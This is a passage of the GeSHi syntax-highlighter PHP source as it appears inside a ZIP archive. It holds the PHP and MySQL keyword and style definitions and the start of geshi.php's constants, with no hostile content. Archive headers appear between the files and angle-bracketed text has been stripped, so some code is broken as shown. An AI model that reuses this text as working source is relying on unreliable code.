'connection_status', 'ignore_user_abort', 'parse_ini_file', 'is_uploaded_file', 'move_uploaded_file', 'intval', 'floatval', 'doubleval', 'strval', 'gettype', 'settype', 'is_null', 'is_resource', 'is_bool', 'is_long', 'is_float', 'is_int', 'is_integer', 'is_double', 'is_real', 'is_numeric', 'is_string', 'is_array', 'is_object', 'is_scalar', 'ereg', 'ereg_replace', 'eregi', 'eregi_replace', 'split', 'spliti', 'join', 'sql_regcase', 'dl', 'pclose', 'popen', 'readfile', 'rewind', 'rmdir', 'umask', 'fclose', 'feof', 'fgetc', 'fgets', 'fgetss', 'fread', 'fopen', 'fpassthru', 'ftruncate', 'fstat', 'fseek', 'ftell', 'fflush', 'fwrite', 'fputs', 'mkdir', 'rename', 'copy', 'tempnam', 'tmpfile', 'file', 'file_get_contents', 'stream_select', 'stream_context_create', 'stream_context_set_params', 'stream_context_set_option', 'stream_context_get_options', 'stream_filter_prepend', 'stream_filter_append', 'fgetcsv', 'flock', 'get_meta_tags', 'stream_set_write_buffer', 'set_file_buffer', 'set_socket_blocking', 'stream_set_blocking', 'socket_set_blocking', 'stream_get_meta_data', 'stream_register_wrapper', 'stream_wrapper_register', 'stream_set_timeout', 'socket_set_timeout', 'socket_get_status', 'realpath', 'fnmatch', 'fsockopen', 'pfsockopen', 'pack', 'unpack', 'get_browser', 'crypt', 'opendir', 'closedir', 'chdir', 'getcwd', 'rewinddir', 'readdir', 'dir', 'glob', 'fileatime', 'filectime', 'filegroup', 'fileinode', 'filemtime', 'fileowner', 'fileperms', 'filesize', 'filetype', 'file_exists', 'is_writable', 'is_writeable', 'is_readable', 'is_executable', 'is_file', 'is_dir', 'is_link', 'stat', 'lstat', 'chown', 'touch', 'clearstatcache', 'mail', 'ob_start', 'ob_flush', 'ob_clean', 'ob_end_flush', 'ob_end_clean', 'ob_get_flush', 'ob_get_clean', 'ob_get_length', 'ob_get_level', 'ob_get_status', 'ob_get_contents', 'ob_implicit_flush', 'ob_list_handlers', 'ksort', 'krsort', 'natsort', 'natcasesort', 'asort', 'arsort', 'sort', 'rsort', 'usort', 'uasort', 'uksort', 'shuffle', 'array_walk', 'count', 'end', 'prev', 'next', 'reset', 'current', 'key', 'min', 'max', 'in_array', 'array_search', 'extract', 'compact', 'array_fill', 'range', 'array_multisort', 'array_push', 'array_pop', 'array_shift', 'array_unshift', 'array_splice', 'array_slice', 'array_merge', 'array_merge_recursive', 'array_keys', 'array_values', 'array_count_values', 'array_reverse', 'array_reduce', 'array_pad', 'array_flip', 'array_change_key_case', 'array_rand', 'array_unique', 'array_intersect', 'array_intersect_assoc', 'array_diff', 'array_diff_assoc', 'array_sum', 'array_filter', 'array_map', 'array_chunk', 'array_key_exists', 'pos', 'sizeof', 'key_exists', 'assert', 'assert_options', 'version_compare', 'ftok', 'str_rot13', 'aggregate', 'session_name', 'session_module_name', 'session_save_path', 'session_id', 'session_regenerate_id', 'session_decode', 'session_register', 'session_unregister', 'session_is_registered', 'session_encode', 'session_start', 'session_destroy', 'session_unset', 'session_set_save_handler', 'session_cache_limiter', 'session_cache_expire', 'session_set_cookie_params', 'session_get_cookie_params', 'session_write_close', 'preg_match', 'preg_match_all', 'preg_replace', 'preg_replace_callback', 'preg_split', 'preg_quote', 'preg_grep', 'overload', 'ctype_alnum', 'ctype_alpha', 'ctype_cntrl', 'ctype_digit', 'ctype_lower', 'ctype_graph', 'ctype_print', 'ctype_punct', 'ctype_space', 'ctype_upper', 'ctype_xdigit', 'virtual', 'apache_request_headers', 'apache_note', 'apache_lookup_uri', 'apache_child_terminate', 'apache_setenv', 'apache_response_headers', 'apache_get_version', 'getallheaders', 'mysql_connect', 'mysql_pconnect', 'mysql_close', 'mysql_select_db', 'mysql_create_db', 'mysql_drop_db', 'mysql_query', 'mysql_unbuffered_query', 'mysql_db_query', 'mysql_list_dbs', 'mysql_list_tables', 'mysql_list_fields', 'mysql_list_processes', 'mysql_error', 'mysql_errno', 'mysql_affected_rows', 'mysql_insert_id', 'mysql_result', 'mysql_num_rows', 'mysql_num_fields', 'mysql_fetch_row', 'mysql_fetch_array', 'mysql_fetch_assoc', 'mysql_fetch_object', 'mysql_data_seek', 'mysql_fetch_lengths', 'mysql_fetch_field', 'mysql_field_seek', 'mysql_free_result', 'mysql_field_name', 'mysql_field_table', 'mysql_field_len', 'mysql_field_type', 'mysql_field_flags', 'mysql_escape_string', 'mysql_real_escape_string', 'mysql_stat', 'mysql_thread_id', 'mysql_client_encoding', 'mysql_get_client_info', 'mysql_get_host_info', 'mysql_get_proto_info', 'mysql_get_server_info', 'mysql_info', 'mysql', 'mysql_fieldname', 'mysql_fieldtable', 'mysql_fieldlen', 'mysql_fieldtype', 'mysql_fieldflags', 'mysql_selectdb', 'mysql_createdb', 'mysql_dropdb', 'mysql_freeresult', 'mysql_numfields', 'mysql_numrows', 'mysql_listdbs', 'mysql_listtables', 'mysql_listfields', 'mysql_db_name', 'mysql_dbname', 'mysql_tablename', 'mysql_table_name', 'pg_connect', 'pg_pconnect', 'pg_close', 'pg_connection_status', 'pg_connection_busy', 'pg_connection_reset', 'pg_host', 'pg_dbname', 'pg_port', 'pg_tty', 'pg_options', 'pg_ping', 'pg_query', 'pg_send_query', 'pg_cancel_query', 'pg_fetch_result', 'pg_fetch_row', 'pg_fetch_assoc', 'pg_fetch_array', 'pg_fetch_object', 'pg_fetch_all', 'pg_affected_rows', 'pg_get_result', 'pg_result_seek', 'pg_result_status', 'pg_free_result', 'pg_last_oid', 'pg_num_rows', 'pg_num_fields', 'pg_field_name', 'pg_field_num', 'pg_field_size', 'pg_field_type', 'pg_field_prtlen', 'pg_field_is_null', 'pg_get_notify', 'pg_get_pid', 'pg_result_error', 'pg_last_error', 'pg_last_notice', 'pg_put_line', 'pg_end_copy', 'pg_copy_to', 'pg_copy_from', 'pg_trace', 'pg_untrace', 'pg_lo_create', 'pg_lo_unlink', 'pg_lo_open', 'pg_lo_close', 'pg_lo_read', 'pg_lo_write', 'pg_lo_read_all', 'pg_lo_import', 'pg_lo_export', 'pg_lo_seek', 'pg_lo_tell', 'pg_escape_string', 'pg_escape_bytea', 'pg_unescape_bytea', 'pg_client_encoding', 'pg_set_client_encoding', 'pg_meta_data', 'pg_convert', 'pg_insert', 'pg_update', 'pg_delete', 'pg_select', 'pg_exec', 'pg_getlastoid', 'pg_cmdtuples', 'pg_errormessage', 'pg_numrows', 'pg_numfields', 'pg_fieldname', 'pg_fieldsize', 'pg_fieldtype', 'pg_fieldnum', 'pg_fieldprtlen', 'pg_fieldisnull', 'pg_freeresult', 'pg_result', 'pg_loreadall', 'pg_locreate', 'pg_lounlink', 'pg_loopen', 'pg_loclose', 'pg_loread', 'pg_lowrite', 'pg_loimport', 'pg_loexport', 'echo', 'print', 'global', 'static', 'exit', 'array', 'empty', 'eval', 'isset', 'unset', 'die' ) ), 'SYMBOLS' => array( 1 => array( '<%', '<%=', '%>', '' ), 0 => array( '(', ')', '[', ']', '{', '}', '!', '@', '%', '&', '|', '/', '<', '>', '=', '-', '+', '*', '.', ':', ',', ';' ) ), 'CASE_SENSITIVE' => array( GESHI_COMMENTS => false, 1 => false, 2 => false, 3 => false ), 'STYLES' => array( 'KEYWORDS' => array( 1 => 'color: #b1b100;', 2 => 'color: #000000; font-weight: bold;', 3 => 'color: #990000;' ), 'COMMENTS' => array( 1 => 'color: #666666; font-style: italic;', 2 => 'color: #666666; font-style: italic;', 3 => 'color: #0000cc; font-style: italic;', 'MULTI' => 'color: #666666; font-style: italic;' ), 'ESCAPE_CHAR' => array( 0 => 'color: #000099; font-weight: bold;', 'HARD' => 'color: #000099; font-weight: bold;' ), 'BRACKETS' => array( 0 => 'color: #009900;' ), 'STRINGS' => array( 0 => 'color: #0000ff;', 'HARD' => 'color: #0000ff;' ), 'NUMBERS' => array( 0 => 'color: #cc66cc;', GESHI_NUMBER_OCT_PREFIX => 'color: #208080;', GESHI_NUMBER_HEX_PREFIX => 'color: #208080;', GESHI_NUMBER_FLT_SCI_ZERO => 'color:#800080;', ), 'METHODS' => array( 1 => 'color: #004000;', 2 => 'color: #004000;' ), 'SYMBOLS' => array( 0 => 'color: #339933;', 1 => 'color: #000000; font-weight: bold;' ), 'REGEXPS' => array( 0 => 'color: #0000ff;' ), 'SCRIPT' => array( 0 => '', 1 => '', 2 => '', 3 => '', 4 => '', 5 => '' ) ), 'URLS' => array( 1 => '', 2 => '', 3 => 'http://www.php.net/{FNAMEL}' ), 'OOLANG' => true, 'OBJECT_SPLITTERS' => array( 1 => '->', 2 => '::' ), 'REGEXPS' => array( //Variables 0 => "[\\$]{1,2}[a-zA-Z_][a-zA-Z0-9_]*" ), 'STRICT_MODE_APPLIES' => GESHI_MAYBE, 'SCRIPT_DELIMITERS' => array( 0 => array( ' '?>' ), 1 => array( ' '?>' ), 2 => array( '<%' => '%>' ), 3 => array( '' ), 4 => "/(?P<\\?(?>php\b)?)(?:". "(?>[^\"'?\\/<]+)|". "\\?(?!>)|". "(?>'(?>[^'\\\\]|\\\\'|\\\\\\\|\\\\)*')|". "(?>\"(?>[^\"\\\\]|\\\\\"|\\\\\\\\|\\\\)*\")|". "(?>\\/\\*(?>[^\\*]|(?!\\*\\/)\\*)*\\*\\/)|". "\\/\\/(?>.*?$)|". "\\/(?=[^*\\/])|". "<(?!<<)|". "<<<(?P\w+)\s.*?\s\k". ")*(?P\\?>|\Z)/sm", 5 => "/(?P<%)(?:". "(?>[^\"'%\\/<]+)|". "%(?!>)|". "(?>'(?>[^'\\\\]|\\\\'|\\\\\\\|\\\\)*')|". "(?>\"(?>[^\\\"\\\\]|\\\\\"|\\\\\\\\|\\\\)*\")|". "(?>\\/\\*(?>[^\\*]|(?!\\*\\/)\\*)*\\*\\/)|". "\\/\\/(?>.*?$)|". "\\/(?=[^*\\/])|". "<(?!<<)|". "<<<(?P\w+)\s.*?\s\k". ")*(?P%>)/sm" ), 'HIGHLIGHT_STRICT_BLOCK' => array( 0 => true, 1 => true, 2 => true, 3 => true, 4 => true, 5 => true ), 'TAB_WIDTH' => 4 ); ?> PK>\lf!W!Wgeshi/geshi/geshi/mysql.phpnuW+A 'MySQL', //'COMMENT_SINGLE' => array(1 =>'--', 2 => '#'), // '--' MUST be folowed by whitespace,not necessarily a space 'COMMENT_SINGLE' => array( 1 =>'-- ', 2 => '#' ), 'COMMENT_REGEXP' => array( 1 => "/(?:--\s).*?$/", // double dash followed by any whitespace ), 'COMMENT_MULTI' => array('/*' => '*/'), 'CASE_KEYWORDS' => GESHI_CAPS_NO_CHANGE, // @@@ would be nice if this could be defined per group! 'QUOTEMARKS' => array("'", '"', '`'), 'ESCAPE_CHAR' => '\\', // by default only, can be specified 'ESCAPE_REGEXP' => array( 1 => "/[_%]/", // search wildcards ), 'NUMBERS' => GESHI_NUMBER_INT_BASIC | GESHI_NUMBER_OCT_PREFIX | GESHI_NUMBER_HEX_PREFIX | GESHI_NUMBER_FLT_NONSCI | GESHI_NUMBER_FLT_SCI_SHORT | GESHI_NUMBER_FLT_SCI_ZERO, 'KEYWORDS' => array( 1 => array( // Mix: statement keywords and keywords that don't fit in any other // category, or have multiple usage/meanings 'ACTION','ADD','AFTER','ALGORITHM','ALL','ALTER','ANALYZE','ANY', 'ASC','AS','BDB','BEGIN','BERKELEYDB','BINARY','BTREE','CALL', 'CASCADED','CASCADE','CHAIN','CHECK','COLUMNS','COLUMN','COMMENT', 'COMMIT','COMMITTED','CONSTRAINT','CONTAINS SQL','CONSISTENT', 'CONVERT','CREATE','CROSS','DATA','DATABASES', 'DECLARE','DEFINER','DELAYED','DELETE','DESCRIBE','DESC', 'DETERMINISTIC','DISABLE','DISCARD','DISTINCTROW','DISTINCT','DO', 'DROP','DUMPFILE','DUPLICATE KEY','ENABLE','ENCLOSED BY','ENGINE', 'ERRORS','ESCAPED BY','EXISTS','EXPLAIN','EXTENDED','FIELDS', 'FIRST','FOR EACH ROW','FORCE','FOREIGN KEY','FROM','FULL', 'FUNCTION','GLOBAL','GRANT','GROUP BY','HANDLER','HASH','HAVING', 'HELP','HIGH_PRIORITY','IF NOT EXISTS','IGNORE','IMPORT','INDEX', 'INFILE','INNER','INNODB','INOUT','INTO','INVOKER', 'ISOLATION LEVEL','JOIN','KEYS','KEY','KILL','LANGUAGE SQL','LAST', 'LIMIT','LINES','LOAD','LOCAL','LOCK','LOW_PRIORITY', 'MASTER_SERVER_ID','MATCH','MERGE','MIDDLEINT','MODIFIES SQL DATA', 'MODIFY','MRG_MYISAM','NATURAL','NEXT','NO SQL','NO','ON', 'OPTIMIZE','OPTIONALLY','OPTION','ORDER BY','OUTER','OUTFILE','OUT', 'PARTIAL','PREV','PRIMARY KEY','PRIVILEGES','PROCEDURE','PURGE', 'QUICK','READS SQL DATA','READ','REFERENCES','RELEASE','RENAME', 'REPEATABLE','REQUIRE','RESTRICT','RETURNS','REVOKE', 'ROLLBACK','ROUTINE','RTREE','SAVEPOINT','SELECT', 'SERIALIZABLE','SESSION','SET','SHARE MODE','SHOW','SIMPLE', 'SNAPSHOT','SOME','SONAME','SQL SECURITY','SQL_BIG_RESULT', 'SQL_BUFFER_RESULT','SQL_CACHE','SQL_CALC_FOUND_ROWS', 'SQL_NO_CACHE','SQL_SMALL_RESULT','SSL','START','STARTING BY', 'STATUS','STRAIGHT_JOIN','STRIPED','TABLESPACE','TABLES','TABLE', 'TEMPORARY','TEMPTABLE','TERMINATED BY','TO','TRANSACTIONS', 'TRANSACTION','TRIGGER','TYPES','TYPE','UNCOMMITTED','UNDEFINED', 'UNION','UNLOCK_TABLES','UPDATE','USAGE','USE','USER_RESOURCES', 'USING','VALUES','VALUE','VIEW','WARNINGS','WHERE','WITH ROLLUP', 'WITH','WORK','WRITE', ), 2 => array( //No ( must follow // Mix: statement keywords distinguished from functions by the same name "CURRENT_USER", "DATABASE", "IN", "INSERT", "DEFAULT", "REPLACE", "SCHEMA", "TRUNCATE" ), 3 => array( // Values (Constants) 'FALSE','NULL','TRUE', ), 4 => array( // Column Data Types 'BIGINT','BIT','BLOB','BOOLEAN','BOOL','CHARACTER VARYING', 'CHAR VARYING','DATETIME','DECIMAL','DEC','DOUBLE PRECISION', 'DOUBLE','ENUM','FIXED','FLOAT','GEOMETRYCOLLECTION','GEOMETRY', 'INTEGER','INT','LINESTRING','LONGBLOB','LONGTEXT','MEDIUMBLOB', 'MEDIUMINT','MEDIUMTEXT','MULTIPOINT','MULTILINESTRING', 'MULTIPOLYGON','NATIONAL CHARACTER','NATIONAL CHARACTER VARYING', 'NATIONAL CHAR VARYING','NATIONAL VARCHAR','NCHAR VARCHAR','NCHAR', 'NUMERIC','POINT','POLYGON','REAL','SERIAL', 'SMALLINT','TEXT','TIMESTAMP','TINYBLOB','TINYINT', 'TINYTEXT','VARBINARY','VARCHARACTER','VARCHAR', ), 5 => array( //No ( must follow // Column data types distinguished from functions by the same name "CHAR", "DATE", "TIME" ), 6 => array( // Table, Column & Index Attributes 'AUTO_INCREMENT','AVG_ROW_LENGTH','BOTH','CHECKSUM','CONNECTION', 'DATA DIRECTORY','DEFAULT NULL','DELAY_KEY_WRITE','FULLTEXT', 'INDEX DIRECTORY','INSERT_METHOD','LEADING','MAX_ROWS','MIN_ROWS', 'NOT NULL','PACK_KEYS','ROW_FORMAT','SERIAL DEFAULT VALUE','SIGNED', 'SPATIAL','TRAILING','UNIQUE','UNSIGNED','ZEROFILL' ), 7 => array( //No ( must follow // Column attribute distinguished from function by the same name "CHARSET" ), 8 => array( // Date and Time Unit Specifiers 'DAY_HOUR','DAY_MICROSECOND','DAY_MINUTE','DAY_SECOND', 'HOUR_MICROSECOND','HOUR_MINUTE','HOUR_SECOND', 'MINUTE_MICROSECOND','MINUTE_SECOND', 'SECOND_MICROSECOND','YEAR_MONTH' ), 9 => array( //No ( must follow // Date-time unit specifiers distinguished from functions by the same name "DAY", "HOUR", "MICROSECOND", "MINUTE", "MONTH", "QUARTER", "SECOND", "WEEK", "YEAR" ), 10 => array( // Operators (see also Symbols) 'AND','BETWEEN','CHARACTER SET','COLLATE','DIV','IS NOT NULL', 'IS NOT','IS NULL','IS','LIKE','NOT','OFFSET','OR','REGEXP','RLIKE', 'SOUNDS LIKE','XOR' ), 11 => array( //No ( must follow // Operator distinghuished from function by the same name "INTERVAL" ), 12 => array( // Control Flow (functions) 'CASE','ELSE','END','IFNULL','IF','NULLIF','THEN','WHEN', ), 13 => array( // String Functions 'ASCII','BIN','BIT_LENGTH','CHAR_LENGTH','CHARACTER_LENGTH', 'CONCAT_WS','CONCAT','ELT','EXPORT_SET','FIELD', 'FIND_IN_SET','FORMAT','HEX','INSTR','LCASE','LEFT','LENGTH', 'LOAD_FILE','LOCATE','LOWER','LPAD','LTRIM','MAKE_SET','MID', 'OCTET_LENGTH','ORD','POSITION','QUOTE','REPEAT','REVERSE', 'RIGHT','RPAD','RTRIM','SOUNDEX','SPACE','STRCMP','SUBSTRING_INDEX', 'SUBSTRING','TRIM','UCASE','UNHEX','UPPER', ), 14 => array( //A ( must follow // String functions distinguished from other keywords by the same name "INSERT", "REPLACE", "CHAR" ), 15 => array( // Numeric Functions 'ABS','ACOS','ASIN','ATAN2','ATAN','CEILING','CEIL', 'CONV','COS','COT','CRC32','DEGREES','EXP','FLOOR','LN','LOG10', 'LOG2','LOG','MOD','OCT','PI','POWER','POW','RADIANS','RAND', 'ROUND','SIGN','SIN','SQRT','TAN', ), 16 => array( //A ( must follow // Numeric function distinguished from other keyword by the same name "TRUNCATE" ), 17 => array( // Date and Time Functions 'ADDDATE','ADDTIME','CONVERT_TZ','CURDATE','CURRENT_DATE', 'CURRENT_TIME','CURRENT_TIMESTAMP','CURTIME','DATE_ADD', 'DATE_FORMAT','DATE_SUB','DATEDIFF','DAYNAME','DAYOFMONTH', 'DAYOFWEEK','DAYOFYEAR','EXTRACT','FROM_DAYS','FROM_UNIXTIME', 'GET_FORMAT','LAST_DAY','LOCALTIME','LOCALTIMESTAMP','MAKEDATE', 'MAKETIME','MONTHNAME','NOW','PERIOD_ADD', 'PERIOD_DIFF','SEC_TO_TIME','STR_TO_DATE','SUBDATE','SUBTIME', 'SYSDATE','TIME_FORMAT','TIME_TO_SEC', 'TIMESTAMPADD','TIMESTAMPDIFF','TO_DAYS', 'UNIX_TIMESTAMP','UTC_DATE','UTC_TIME','UTC_TIMESTAMP','WEEKDAY', 'WEEKOFYEAR','YEARWEEK', ), 18 => array( //A ( must follow // Date-time functions distinguished from other keywords by the same name "DATE", "DAY", "HOUR", "MICROSECOND", "MINUTE", "MONTH", "QUARTER", "SECOND", "TIME", "WEEK", "YEAR" ), 19 => array( // Comparison Functions 'COALESCE','GREATEST','ISNULL','LEAST', ), 20 => array( //A ( must follow // Comparison functions distinguished from other keywords by the same name "IN", "INTERVAL" ), 21 => array( // Encryption and Compression Functions 'AES_DECRYPT','AES_ENCRYPT','COMPRESS','DECODE','DES_DECRYPT', 'DES_ENCRYPT','ENCODE','ENCRYPT','MD5','OLD_PASSWORD','PASSWORD', 'SHA1','SHA','UNCOMPRESS','UNCOMPRESSED_LENGTH', ), 22 => array( // GROUP BY (aggregate) Functions 'AVG','BIT_AND','BIT_OR','BIT_XOR','COUNT','GROUP_CONCAT', 'MAX','MIN','STDDEV_POP','STDDEV_SAMP','STDDEV','STD','SUM', 'VAR_POP','VAR_SAMP','VARIANCE', ), 23 => array( // Information Functions 'BENCHMARK','COERCIBILITY','COLLATION','CONNECTION_ID', 'FOUND_ROWS','LAST_INSERT_ID','ROW_COUNT', 'SESSION_USER','SYSTEM_USER','USER','VERSION', ), 24 => array( //A ( must follow // Information functions distinguished from other keywords by the same name "CURRENT_USER", "DATABASE", "SCHEMA", "CHARSET" ), 25 => array( // Miscellaneous Functions 'ExtractValue','BIT_COUNT','GET_LOCK','INET_ATON','INET_NTOA', 'IS_FREE_LOCK','IS_USED_LOCK','MASTER_POS_WAIT','NAME_CONST', 'RELEASE_LOCK','SLEEP','UpdateXML','UUID', ), 26 => array( //A ( must follow // Miscellaneous function distinguished from other keyword by the same name "DEFAULT" ), 27 => array( // Geometry Functions 'Area','AsBinary','AsText','AsWKB','AsWKT','Boundary','Buffer', 'Centroid','Contains','ConvexHull','Crosses', 'Difference','Dimension','Disjoint','Distance', 'EndPoint','Envelope','Equals','ExteriorRing', 'GLength','GeomCollFromText','GeomCollFromWKB','GeomFromText', 'GeomFromWKB','GeometryCollectionFromText', 'GeometryCollectionFromWKB','GeometryFromText','GeometryFromWKB', 'GeometryN','GeometryType', 'InteriorRingN','Intersection','Intersects','IsClosed','IsEmpty', 'IsRing','IsSimple', 'LineFromText','LineFromWKB','LineStringFromText', 'LineStringFromWKB', 'MBRContains','MBRDisjoint','MBREqual','MBRIntersects', 'MBROverlaps','MBRTouches','MBRWithin','MLineFromText', 'MLineFromWKB','MPointFromText','MPointFromWKB','MPolyFromText', 'MPolyFromWKB','MultiLineStringFromText','MultiLineStringFromWKB', 'MultiPointFromText','MultiPointFromWKB','MultiPolygonFromText', 'MultiPolygonFromWKB', 'NumGeometries','NumInteriorRings','NumPoints', 'Overlaps', 'PointFromText','PointFromWKB','PointN','PointOnSurface', 'PolyFromText','PolyFromWKB','PolygonFromText','PolygonFromWKB', 'Related','SRID','StartPoint','SymDifference', 'Touches', 'Union', 'Within', 'X', 'Y', ), ), 'SYMBOLS' => array( 1 => array( /* Operators */ '=', ':=', // assignment operators '||', '&&', '!', // locical operators '=', '<=>', '>=', '>', '<=', '<', '<>', '!=', // comparison operators '|', '&', '^', '~', '<<', '>>', // bitwise operators '-', '+', '*', '/', '%', // numerical operators ), 2 => array( /* Other syntactical symbols */ '(', ')', ',', ';', ), ), 'CASE_SENSITIVE' => array( GESHI_COMMENTS => false, 1 => false, 2 => false, 3 => false, 4 => false, 5 => false, 6 => false, 7 => false, 8 => false, 9 => false, 10 => false, 11 => false, 12 => false, 13 => false, 13 => false, 14 => false, 15 => false, 16 => false, 17 => false, 18 => false, 19 => false, 20 => false, 21 => false, 22 => false, 23 => false, 24 => false, 25 => false, 26 => false, 27 => false, ), 'STYLES' => array( 'KEYWORDS' => array( 1 => 'color: #990099; font-weight: bold;', // mix 2 => 'color: #990099; font-weight: bold;', // mix 3 => 'color: #9900FF; font-weight: bold;', // constants 4 => 'color: #999900; font-weight: bold;', // column data types 5 => 'color: #999900; font-weight: bold;', // column data types 6 => 'color: #FF9900; font-weight: bold;', // attributes 7 => 'color: #FF9900; font-weight: bold;', // attributes 8 => 'color: #9900FF; font-weight: bold;', // date-time units 9 => 'color: #9900FF; font-weight: bold;', // date-time units 10 => 'color: #CC0099; font-weight: bold;', // operators 11 => 'color: #CC0099; font-weight: bold;', // operators 12 => 'color: #009900;', // control flow (functions) 13 => 'color: #000099;', // string functions 14 => 'color: #000099;', // string functions 15 => 'color: #000099;', // numeric functions 16 => 'color: #000099;', // numeric functions 17 => 'color: #000099;', // date-time functions 18 => 'color: #000099;', // date-time functions 19 => 'color: #000099;', // comparison functions 20 => 'color: #000099;', // comparison functions 21 => 'color: #000099;', // encryption functions 22 => 'color: #000099;', // aggregate functions 23 => 'color: #000099;', // information functions 24 => 'color: #000099;', // information functions 25 => 'color: #000099;', // miscellaneous functions 26 => 'color: #000099;', // miscellaneous functions 27 => 'color: #00CC00;', // geometry functions ), 'COMMENTS' => array( 'MULTI' => 'color: #808000; font-style: italic;', 1 => 'color: #808080; font-style: italic;', 2 => 'color: #808080; font-style: italic;' ), 'ESCAPE_CHAR' => array( 0 => 'color: #004000; font-weight: bold;', 1 => 'color: #008080; font-weight: bold;' // search wildcards ), 'BRACKETS' => array( 0 => 'color: #FF00FF;' ), 'STRINGS' => array( 0 => 'color: #008000;' ), 'NUMBERS' => array( 0 => 'color: #008080;' ), 'METHODS' => array( ), 'SYMBOLS' => array( 1 => 'color: #CC0099;', // operators 2 => 'color: #000033;', // syntax ), 'SCRIPT' => array( ), 'REGEXPS' => array( ) ), 'URLS' => array( 1 => 'http://search.mysql.com/search?site=refman-%35%31&q={FNAME}', 2 => 'http://search.mysql.com/search?site=refman-%35%31&q={FNAME}', 3 => 'http://search.mysql.com/search?site=refman-%35%31&q={FNAME}', 4 => 'http://search.mysql.com/search?site=refman-%35%31&q={FNAME}', 5 => 'http://search.mysql.com/search?site=refman-%35%31&q={FNAME}', 6 => 'http://search.mysql.com/search?site=refman-%35%31&q={FNAME}', 7 => 'http://search.mysql.com/search?site=refman-%35%31&q={FNAME}', 8 => 'http://search.mysql.com/search?site=refman-%35%31&q={FNAME}', 9 => 'http://search.mysql.com/search?site=refman-%35%31&q={FNAME}', 10 => 'http://dev.mysql.com/doc/refman/%35%2E%31/en/non-typed-operators.html', 11 => 'http://dev.mysql.com/doc/refman/%35%2E%31/en/non-typed-operators.html', 12 => 'http://dev.mysql.com/doc/refman/%35%2E%31/en/control-flow-functions.html', 13 => 'http://dev.mysql.com/doc/refman/%35%2E%31/en/string-functions.html', 14 => 'http://dev.mysql.com/doc/refman/%35%2E%31/en/string-functions.html', 15 => 'http://dev.mysql.com/doc/refman/%35%2E%31/en/numeric-functions.html', 16 => 'http://dev.mysql.com/doc/refman/%35%2E%31/en/numeric-functions.html', 17 => 'http://dev.mysql.com/doc/refman/%35%2E%31/en/date-and-time-functions.html', 18 => 'http://dev.mysql.com/doc/refman/%35%2E%31/en/date-and-time-functions.html', 19 => 'http://dev.mysql.com/doc/refman/%35%2E%31/en/comparison-operators.html', 20 => 'http://dev.mysql.com/doc/refman/%35%2E%31/en/comparison-operators.html', 21 => 'http://dev.mysql.com/doc/refman/%35%2E%31/en/encryption-functions.html', 22 => 'http://dev.mysql.com/doc/refman/%35%2E%31/en/group-by-functions-and-modifiers.html', 23 => 'http://dev.mysql.com/doc/refman/%35%2E%31/en/information-functions.html', 24 => 'http://dev.mysql.com/doc/refman/%35%2E%31/en/information-functions.html', 25 => 'http://dev.mysql.com/doc/refman/%35%2E%31/en/func-op-summary-ref.html', 26 => 'http://dev.mysql.com/doc/refman/%35%2E%31/en/func-op-summary-ref.html', 27 => 'http://dev.mysql.com/doc/refman/%35%2E%31/en/analysing-spatial-information.html', ), 'OOLANG' => false, 'OBJECT_SPLITTERS' => array( ), 'REGEXPS' => array( ), 'STRICT_MODE_APPLIES' => GESHI_NEVER, 'SCRIPT_DELIMITERS' => array( ), 'HIGHLIGHT_STRICT_BLOCK' => array( ), 'TAB_WIDTH' => 4, 'PARSER_CONTROL' => array( 'KEYWORDS' => array( 2 => array( 'DISALLOWED_AFTER' => '(?![\(\w])' ), 5 => array( 'DISALLOWED_AFTER' => '(?![\(\w])' ), 7 => array( 'DISALLOWED_AFTER' => '(?![\(\w])' ), 9 => array( 'DISALLOWED_AFTER' => '(?![\(\w])' ), 11 => array( 'DISALLOWED_AFTER' => '(?![\(\w])' ), 14 => array( 'DISALLOWED_AFTER' => '(?=\()' ), 16 => array( 'DISALLOWED_AFTER' => '(?=\()' ), 18 => array( 'DISALLOWED_AFTER' => '(?=\()' ), 20 => array( 'DISALLOWED_AFTER' => '(?=\()' ), 24 => array( 'DISALLOWED_AFTER' => '(?=\()' ), 26 => array( 'DISALLOWED_AFTER' => '(?=\()' ) ) ) ); ?> PK>\Tbbgeshi/geshi/geshi.phpnuW+A, Benny Baumann * @copyright (C) 2004 - 2007 Nigel McNie, (C) 2007 - 2008 Benny Baumann * @license http://gnu.org/copyleft/gpl.html GNU GPL * */ // // GeSHi Constants // You should use these constant names in your programs instead of // their values - you never know when a value may change in a future // version // /** The version of this GeSHi file */ define('GESHI_VERSION', '1.0.8.10'); // Define the root directory for the GeSHi code tree if (!defined('GESHI_ROOT')) { /** The root directory for GeSHi */ define('GESHI_ROOT', dirname(__FILE__) . DIRECTORY_SEPARATOR); } /** The language file directory for GeSHi @access private */ define('GESHI_LANG_ROOT', GESHI_ROOT . 'geshi' . DIRECTORY_SEPARATOR); // Define if GeSHi should be paranoid about security if (!defined('GESHI_SECURITY_PARANOID')) { /** Tells GeSHi to be paranoid about security settings */ define('GESHI_SECURITY_PARANOID', false); } // Line numbers - use with enable_line_numbers() /** Use no line numbers when building the result */ define('GESHI_NO_LINE_NUMBERS', 0); /** Use normal line numbers when building the result */ define('GESHI_NORMAL_LINE_NUMBERS', 1); /** Use fancy line numbers when building the result */ define('GESHI_FANCY_LINE_NUMBERS', 2); // Container HTML type /** Use nothing to surround the source */ define('GESHI_HEADER_NONE', 0); /** Use a "div" to surround the source */ define('GESHI_HEADER_DIV', 1); /** Use a "pre" to surround the source */ define('GESHI_HEADER_PRE', 2); /** Use a pre to wrap lines when line numbers are enabled or to wrap the whole code. */ define('GESHI_HEADER_PRE_VALID', 3); /** * Use a "table" to surround the source: * * * * * *
    $header
    $linenumbers
    $code>
    $footer
    * * this is essentially only a workaround for Firefox, see sf#1651996 or take a look at * https://bugzilla.mozilla.org/show_bug.cgi?id=365805 * @note when linenumbers are disabled this is essentially the same as GESHI_HEADER_PRE */ define('GESHI_HEADER_PRE_TABLE', 4); // Capatalisation constants /** Lowercase keywords found */ define('GESHI_CAPS_NO_CHANGE', 0); /** Uppercase keywords found */ define('GESHI_CAPS_UPPER', 1); /** Leave keywords found as the case that they are */ define('GESHI_CAPS_LOWER', 2); // Link style constants /** Links in the source in the :link state */ define('GESHI_LINK', 0); /** Links in the source in the :hover state */ define('GESHI_HOVER', 1); /** Links in the source in the :active state */ define('GESHI_ACTIVE', 2); /** Links in the source in the :visited state */ define('GESHI_VISITED', 3); // Important string starter/finisher // Note that if you change these, they should be as-is: i.e., don't // write them as if they had been run through htmlentities() /** The starter for important parts of the source */ define('GESHI_START_IMPORTANT', ''); /** The ender for important parts of the source */ define('GESHI_END_IMPORTANT', ''); /**#@+ * @access private */ // When strict mode applies for a language 